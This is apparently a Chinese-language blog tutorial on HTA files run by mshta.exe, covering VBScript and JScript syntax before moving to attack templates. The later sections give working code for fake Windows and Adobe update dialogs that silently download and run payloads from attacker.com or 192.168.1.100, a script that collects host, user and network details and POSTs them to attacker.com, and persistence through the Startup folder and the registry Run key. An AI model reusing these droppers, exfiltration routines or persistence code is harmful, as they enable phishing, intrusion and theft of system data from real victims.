# 【LOLBAS鐵人賽Day28】附錄(二):HTA 基礎語法與實戰應用 在之前 mshta.exe 的文章中, 我們有看到 HTA 檔案也可以當作攻擊的方式, 今天我們就來一起看看 HTA 的相關語法和技術應用吧! ## 一、HTA 基礎 HTA (HTML Application) 是以 HTML 形式呈現但具有完整系統權限的應用程式,由 `mshta.exe` 執行。與網頁不同,HTA 不受瀏覽器沙箱限制,可以執行系統命令、存取檔案、操作註冊表。 ### 基本結構 ```html <!DOCTYPE html> <html> <head> <title>我的 HTA</title> <HTA:APPLICATION BORDER="thin" CAPTION="yes" SHOWINTASKBAR="yes" /> </head> <body> <h1>Hello HTA!</h1> <button onclick="alert('測試')">點我</button> </body> </html> ``` **說明:** - 儲存為 `.hta` 副檔名,雙擊即可執行 - `<HTA:APPLICATION>` 標籤設定視窗外觀 - 可以使用 HTML/CSS 設計介面 - 可以執行 VBScript 或 JScript ### 常用屬性 ```html <HTA:APPLICATION BORDER="thin" <!-- 邊框樣式 --> CAPTION="yes" <!-- 顯示標題列 --> MAXIMIZEBUTTON="yes" <!-- 最大化按鈕 --> MINIMIZEBUTTON="yes" <!-- 最小化按鈕 --> SHOWINTASKBAR="no" <!-- 不顯示在工作列 --> SINGLEINSTANCE="yes" <!-- 只能執行一個 --> WINDOWSTATE="normal" <!-- 視窗狀態 --> /> ``` **說明:** - `SHOWINTASKBAR="no"` 可以隱藏視窗,常用於隱密執行 - `SINGLEINSTANCE="yes"` 防止重複執行 - `BORDER="none"` 可以建立無邊框視窗 ## 二、VBScript 核心語法 ### 基本語法 ```vbscript <script language="VBScript"> ' 變數與常數 Dim name, age name = "John" age = 30 Const PI = 3.14 ' 陣列 Dim items items = Array("A", "B", "C") ' 條件判斷 If age >= 18 Then MsgBox "成年" Else MsgBox "未成年" End If ' 迴圈 Dim i For i = 1 To 5 document.write i & "<br>" Next </script> ``` **說明:** - VBScript 不區分大小寫 - 使用 `Dim` 宣告變數,不需指定型別 - `Array()` 快速建立陣列 - `&` 用於字串連接 - `document.write` 可以輸出到網頁上 ### 檔案操作 ```vbscript <script language="VBScript"> Sub FileExample() Dim fso, file Set fso = CreateObject("Scripting.FileSystemObject") ' 寫入檔案 Set file = fso.CreateTextFile("C:\test.txt", True) file.WriteLine "測試內容" file.Close ' 讀取檔案 If fso.FileExists("C:\test.txt") Then Set file = fso.OpenTextFile("C:\test.txt", 1) Dim content content = file.ReadAll file.Close MsgBox content End If End Sub </script> ``` **說明:** - `CreateObject("Scripting.FileSystemObject")` 建立檔案系統物件 - `CreateTextFile` 建立新檔案(第二個參數 True 表示覆寫) - `OpenTextFile` 開啟檔案(1=唯讀,2=寫入,8=附加) - `FileExists` 檢查檔案是否存在 - 可以用來讀寫設定檔、記錄日誌等 ### 執行命令 ```vbscript <script language="VBScript"> Sub RunCommand() Dim shell Set shell = CreateObject("WScript.Shell") ' 顯示視窗執行 shell.Run "cmd.exe /c ipconfig", 1, True ' 背景執行(隱藏視窗) shell.Run "notepad.exe", 0, False ' 執行 PowerShell shell.Run "powershell.exe -Command Get-Process", 1, False ' 取得環境變數 MsgBox "電腦名稱: " & shell.ExpandEnvironmentStrings("%COMPUTERNAME%") End Sub </script> ``` **說明:** - `CreateObject("WScript.Shell")` 建立 Shell 物件用來執行命令 - `Run` 方法的三個參數:命令、視窗狀態(0=隱藏,1=顯示)、是否等待 - `cmd.exe /c` 執行命令後自動關閉 - `ExpandEnvironmentStrings` 展開環境變數(如 %TEMP%, %USERNAME%) - 第三個參數 True 會等待命令執行完成 ### 網路操作 ```vbscript <script language="VBScript"> Sub DownloadFile() Dim http, stream Set http = CreateObject("MSXML2.XMLHTTP") Set stream = CreateObject("ADODB.Stream") ' 下載檔案 http.Open "GET", "http://example.com/file.txt", False http.Send If http.Status = 200 Then stream.Type = 1 ' Binary stream.Open stream.Write http.ResponseBody stream.SaveToFile "C:\downloaded.txt", 2 stream.Close MsgBox "下載完成" End If End Sub Sub SendData() Dim http Set http = CreateObject("MSXML2.XMLHTTP") ' POST 請求 http.Open "POST", "http://example.com/api", False http.setRequestHeader "Content-Type", "application/x-www-form-urlencoded" http.Send "data=hello" MsgBox http.ResponseText End Sub </script> ``` **說明:** - `MSXML2.XMLHTTP` 用來發送 HTTP 請求 - `ADODB.Stream` 用來處理二進位資料 - `Status = 200` 表示請求成功 - `SaveToFile` 的第二個參數:1=不覆寫,2=覆寫 - 可以用來下載第二階段 payload 或上傳資料到 C&C 伺服器 ## 三、JScript 核心語法 ### 基本語法 ```javascript <script language="JScript"> // 變數和函數 var name = "John"; var age = 30; function greet(name) { return "Hello, " + name; } // 陣列 var arr = [1, 2, 3, 4, 5]; arr.push(6); var str = arr.join(","); // 物件 var person = { name: "John", age: 30 }; // 迴圈 for (var i = 0; i < 5; i++) { document.write(i + "<br>"); } </script> ``` **說明:** - JScript 是 Microsoft 的 JavaScript 實作 - 語法與 JavaScript 相似 - 支援物件導向程式設計 - 可以與 VBScript 混用 ### 系統操作 ```javascript <script language="JScript"> function executeCommand(cmd) { var shell = new ActiveXObject("WScript.Shell"); var exec = shell.Exec(cmd); var output = ""; while (!exec.StdOut.AtEndOfStream) { output += exec.StdOut.ReadLine() + "\n"; } return output; } function downloadAndRun(url, savePath) { var http = new ActiveXObject("MSXML2.XMLHTTP"); var stream = new ActiveXObject("ADODB.Stream"); var shell = new ActiveXObject("WScript.Shell"); http.open("GET", url, false); http.send(); if (http.status == 200) { stream.type = 1; stream.open(); stream.write(http.responseBody); stream.saveToFile(savePath, 2); stream.close(); shell.Run(savePath, 0, false); return true; } return false; } </script> ``` **說明:** - `ActiveXObject` 建立 COM 物件 - `Exec` 執行命令並可以讀取輸出 - `StdOut.ReadLine()` 讀取命令的標準輸出 - 這個函數可以執行命令並取得結果 - 常用於下載並執行遠端的惡意程式 ## 四、實戰應用 ### 1. 偽裝更新通知 ```html <!DOCTYPE html> <html> <head> <title>系統更新</title> <HTA:APPLICATION BORDER="dialog" CAPTION="yes" SHOWINTASKBAR="no" /> <style> body { font-family: Arial; padding: 30px; } .warning { color: red; font-weight: bold; } button { background: #0078d4; color: white; padding: 10px 30px; border: none; cursor: pointer; } </style> </head> <body> <h2>Windows 安全更新</h2> <p class="warning">發現重要安全漏洞</p> <p>請立即安裝更新以保護您的電腦</p> <button onclick="Install()">立即安裝</button> <button onclick="window.close()">稍後提醒</button> <script language="VBScript"> Sub Install() Dim shell Set shell = CreateObject("WScript.Shell") shell.Run "powershell.exe -w hidden IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/p.ps1')", 0, False MsgBox "更新完成", vbInformation window.close() End Sub </script> </body> </html> ``` **說明:** - 使用 Windows 風格的 UI 提高可信度 - `SHOWINTASKBAR="no"` 避免被發現 - `-w hidden` 隱藏 PowerShell 視窗 - `IEX` 是 `Invoke-Expression` 的別名,執行下載的腳本 - 這是典型的釣魚攻擊手法,偽裝成系統更新 ### 2. 資訊收集 ```html <script language="VBScript"> Sub CollectInfo() Dim shell, fso, file Set shell = CreateObject("WScript.Shell") Set fso = CreateObject("Scripting.FileSystemObject") ' 建立報告檔案 Dim reportPath reportPath = shell.ExpandEnvironmentStrings("%TEMP%\report.txt") Set file = fso.CreateTextFile(reportPath, True) ' 收集基本資訊 file.WriteLine "電腦: " & shell.ExpandEnvironmentStrings("%COMPUTERNAME%") file.WriteLine "使用者: " & shell.ExpandEnvironmentStrings("%USERNAME%") file.WriteLine "網域: " & shell.ExpandEnvironmentStrings("%USERDOMAIN%") ' 執行命令收集詳細資訊 Dim exec Set exec = shell.Exec("cmd.exe /c ipconfig /all") file.WriteLine vbCrLf & "=== 網路設定 ===" & vbCrLf file.WriteLine exec.StdOut.ReadAll file.Close ' 上傳到遠端 Call UploadFile(reportPath) End Sub Sub UploadFile(path) Dim http, fso, file, content Set http = CreateObject("MSXML2.XMLHTTP") Set fso = CreateObject("Scripting.FileSystemObject") Set file = fso.OpenTextFile(path, 1) content = file.ReadAll file.Close http.Open "POST", "http://attacker.com/upload", False http.Send content End Sub </script> ``` **說明:** - `%TEMP%` 是暫存目錄,通常不會被注意 - `Exec` 執行命令並捕獲輸出 - 收集電腦名稱、使用者名稱、網路設定等資訊 - 可以用來進行偵察或建立目標資料庫 ### 3. 持久化機制 ```html <script language="VBScript"> Sub CreatePersistence() Dim shell, fso, htaPath Set shell = CreateObject("WScript.Shell") Set fso = CreateObject("Scripting.FileSystemObject") ' 取得當前 HTA 路徑 htaPath = window.location.pathname htaPath = Mid(htaPath, 2) ' 移除開頭的 / ' 方法一:複製到啟動資料夾 Dim startupPath startupPath = shell.SpecialFolders("Startup") fso.CopyFile htaPath, startupPath & "\check.hta", True ' 方法二:寫入註冊表 On Error Resume Next shell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Check", _ """" & htaPath & """", "REG_SZ" End Sub </script> ``` **說明:** - `window.location.pathname` 取得目前 HTA 檔案的路徑 - `SpecialFolders("Startup")` 取得啟動資料夾路徑 - 複製到啟動資料夾後,每次開機都會執行 - 寫入註冊表的 Run 鍵也會在開機時自動執行 - `On Error Resume Next` 忽略錯誤(如權限不足) ### 4. 完整攻擊範例 ```html <!DOCTYPE html> <html> <head> <title>Adobe Reader Update</title> <HTA:APPLICATION BORDER="dialog" SHOWINTASKBAR="no" /> </head> <body> <h3>Adobe Reader 需要更新</h3> <button onclick="Update()">更新</button> <script language="VBScript"> Sub Update() Dim shell, http, stream Set shell = CreateObject("WScript.Shell") Set http = CreateObject("MSXML2.XMLHTTP") Set stream = CreateObject("ADODB.Stream") ' 下載 payload http.Open "GET", "http://192.168.1.100/payload.exe", False http.Send If http.Status = 200 Then Dim exePath exePath = shell.ExpandEnvironmentStrings("%TEMP%\update.exe") stream.Type = 1 stream.Open stream.Write http.ResponseBody stream.SaveToFile exePath, 2 stream.Close ' 執行 payload shell.Run exePath, 0, False ' 建立持久化 shell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Adobe", _ """" & exePath & """", "REG_SZ" End If MsgBox "更新完成", vbInformation window.close() End Sub </script> </body> </html> ``` **說明:** - 完整的攻擊流程:下載 → 執行 → 持久化 - 偽裝成 Adobe Reader 更新提高成功率 - payload 儲存在 %TEMP% 目錄 - 透過註冊表實現開機自動啟動 - 實際攻擊中常見的手法 ## 五、測試環境 ### 建立測試 HTA ```html <!-- test.hta --> <!DOCTYPE html> <html> <head> <title>測試</title> <HTA:APPLICATION /> </head> <body> <button onclick="Test()">測試</button> <script language="VBScript"> Sub Test() MsgBox "HTA 可以正常執行" Dim fso Set fso = CreateObject("Scripting.FileSystemObject") Dim file Set file = fso.CreateTextFile("C:\test.txt", True) file.WriteLine "測試成功" file.Close MsgBox "已建立 C:\test.txt" End Sub </script> </body> </html> ``` **說明:** - 儲存為 `.hta` 檔案 - 雙擊執行測試 - 如果能建立檔案就表示有完整權限 ## 六、總結 ### 核心技術 - **VBScript/JScript**:腳本語言,控制 HTA 行為 - **FileSystemObject**:檔案和目錄操作 - **WScript.Shell**:執行命令和操作註冊表 - **XMLHTTP**:網路請求,下載和上傳資料 ### 常見用途 - **釣魚攻擊**:偽裝成合法程式更新 - **初始存取**:作為第一階段 dropper - **資訊收集**:收集系統資訊 - **持久化**:透過啟動項或註冊表